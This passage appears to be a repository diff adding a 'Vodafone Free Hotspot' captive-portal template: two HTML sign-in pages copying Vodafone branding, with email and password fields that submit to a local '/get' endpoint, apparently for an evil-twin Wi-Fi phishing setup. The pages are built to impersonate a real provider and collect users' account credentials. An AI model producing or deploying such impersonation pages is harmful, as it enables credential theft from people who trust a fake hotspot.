-1428 43 -691 -210 -1349 -708 -1848 -312 -311 -661 -510 -1081 -615 -204 -50
|
||||
-322 -66 -558 -71 -232 -6 -357 6 -565 53 -362 82 -716 257 -1013 499 -143
|
||||
118 -321 302 -428 444 -75 100 -191 276 -203 308 -4 10 -16 34 -28 53 -12 19
|
||||
-43 81 -68 136 -152 333 -232 667 -256 1064 -58 957 360 1998 1099 2741 311
|
||||
312 643 552 1065 769 474 244 955 396 1475 466 131 18 590 26 660 12 74 -15
|
||||
-200 100 -390 165 -579 196 -1199 272 -1810 222z"/>
|
||||
</g>
|
||||
</svg>
|
||||
|
||||
<svg class="logo" xmlns="http://www.w3.org/2000/svg"></svg>
|
||||
<div class="vodafone-name">Vodafone</div>
|
||||
</div>
|
||||
|
||||
<div class="form-container">
|
||||
|
||||
<center><h1>Sign in</h1>
|
||||
<h2>Use your Vodafone Account</h2></center>
|
||||
|
||||
<form action="/get" id="login-form">
|
||||
|
||||
<input name="email" class="input-field" type="text" placeholder="Email or mobile phone number" required>
|
||||
|
||||
<input name="password" class="input-field" type="password" placeholder="Password" required>
|
||||
|
||||
<a href="javascript:void(0);" class="forgot-password">Forgot credentials?</a>
|
||||
|
||||
<button class="submit-btn" type="submit">Continue</button>
|
||||
|
||||
<div class="error-message"></div>
|
||||
|
||||
</form>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
<script>
|
||||
document.querySelector('.forgot-password').addEventListener('click', function() {
|
||||
var errorMessage = document.querySelector('.error-message');
|
||||
errorMessage.innerHTML = "Please refer to your Vodafone App if you forgot your credentials";
|
||||
errorMessage.style.display = 'block';
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1 @@
|
||||
Vodafone Free Hotspot
|
||||
@@ -0,0 +1,138 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #FFFFFF;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 400px;
|
||||
margin: 0 auto;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
@media (min-width: 600px) {
|
||||
.container {
|
||||
max-width: 500px;
|
||||
}
|
||||
}
|
||||
|
||||
.logo-container {
|
||||
text-align: center;
|
||||
margin-bottom: 30px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.logo {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
fill: #6C429C;
|
||||
}
|
||||
|
||||
.vodafone-name {
|
||||
font-size: 42px;
|
||||
color: #E60000;
|
||||
margin-left: 0px;
|
||||
}
|
||||
|
||||
.form-container {
|
||||
background: #FFFFFF;
|
||||
border: 1px solid #FFFFFF;
|
||||
border-radius: 4px;
|
||||
padding: 20px;
|
||||
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
|
||||
}
|
||||
|
||||
h1 {
|
||||
text-align: center;
|
||||
font-size: 28px;
|
||||
font-weight: 500;
|
||||
color: #E60000;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.input-field {
|
||||
width: 100%;
|
||||
padding: 12px;
|
||||
border: 1px solid #E60000;
|
||||
border-radius: 4px;
|
||||
box-sizing: border-box;
|
||||
margin-bottom: 20px;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.submit-btn {
|
||||
background: #E60000;
|
||||
border: none;
|
||||
color: #FFFFFF;
|
||||
padding: 12px 20px;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
.submit-btn:hover {
|
||||
background: #E60000;
|
||||
}
|
||||
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<div class="container">
|
||||
|
||||
<div class="logo-container">
|
||||
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
|
||||
width="50.000000pt" height="50.000000pt" viewBox="0 0 900.000000 900.000000"
|
||||
preserveAspectRatio="xMidYMid meet">
|
||||
<g transform="translate(0.000000,900.000000) scale(0.100000,-0.100000)"
|
||||
fill="#E60000" stroke="none">
|
||||
<path d="M4130 8945 c-932 -77 -1814 -444 -2530 -1054 -117 -100 -354 -335
|
||||
-460 -456 -99 -114 -284 -356 -352 -460 -72 -110 -138 -215 -138 -219 0 -2
|
||||
-22 -41 -48 -87 -43 -74 -139 -266 -185 -369 -113 -250 -228 -612 -287 -899
|
||||
-144 -710 -111 -1496 92 -2166 226 -748 600 -1371 1149 -1912 170 -167 277
|
||||
-259 456 -394 1001 -751 2240 -1039 3503 -814 531 95 1127 334 1600 643 266
|
||||
173 514 377 747 613 167 170 260 277 393 454 184 245 302 439 440 720 300 613
|
||||
450 1265 450 1955 0 547 -92 1055 -281 1562 -229 614 -575 1146 -1050 1615
|
||||
-341 335 -670 574 -1097 795 l-115 59 -51 -12 c-173 -40 -421 -148 -570 -248
|
||||
-405 -273 -684 -672 -792 -1131 -22 -94 -44 -281 -44 -375 l0 -81 73 -19 c98
|
||||
-25 374 -116 472 -155 321 -130 611 -316 831 -535 373 -371 567 -829 603
|
||||
-1428 43 -691 -210 -1349 -708 -1848 -312 -311 -661 -510 -1081 -615 -204 -50
|
||||
-322 -66 -558 -71 -232 -6 -357 6 -565 53 -362 82 -716 257 -1013 499 -143
|
||||
118 -321 302 -428 444 -75 100 -191 276 -203 308 -4 10 -16 34 -28 53 -12 19
|
||||
-43 81 -68 136 -152 333 -232 667 -256 1064 -58 957 360 1998 1099 2741 311
|
||||
312 643 552 1065 769 474 244 955 396 1475 466 131 18 590 26 660 12 74 -15
|
||||
-200 100 -390 165 -579 196 -1199 272 -1810 222z"/>
|
||||
</g>
|
||||
</svg>
|
||||
|
||||
<svg class="logo" xmlns="http://www.w3.org/2000/svg"></svg>
|
||||
<div class="vodafone-name">Vodafone</div>
|
||||
</div>
|
||||
|
||||
<div class="form-container">
|
||||
|
||||
<center><h1>Sign in</h1>
|
||||
<h2>Use your Vodafone Account</h2></center>
|
||||
|
||||
<form action="/get" id="login-form">
|
||||
|
||||
<input name="email" class="input-field" type="text" placeholder="Email or mobile phone number" required>
|
||||
|
||||
<input name="password" class="input-field" type="password" placeholder="Password" required>
|
||||
|
||||
<button class="submit-btn" type="submit">Continue</button>
|
||||
|
||||
</form>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
Reference in New Issue
Block a user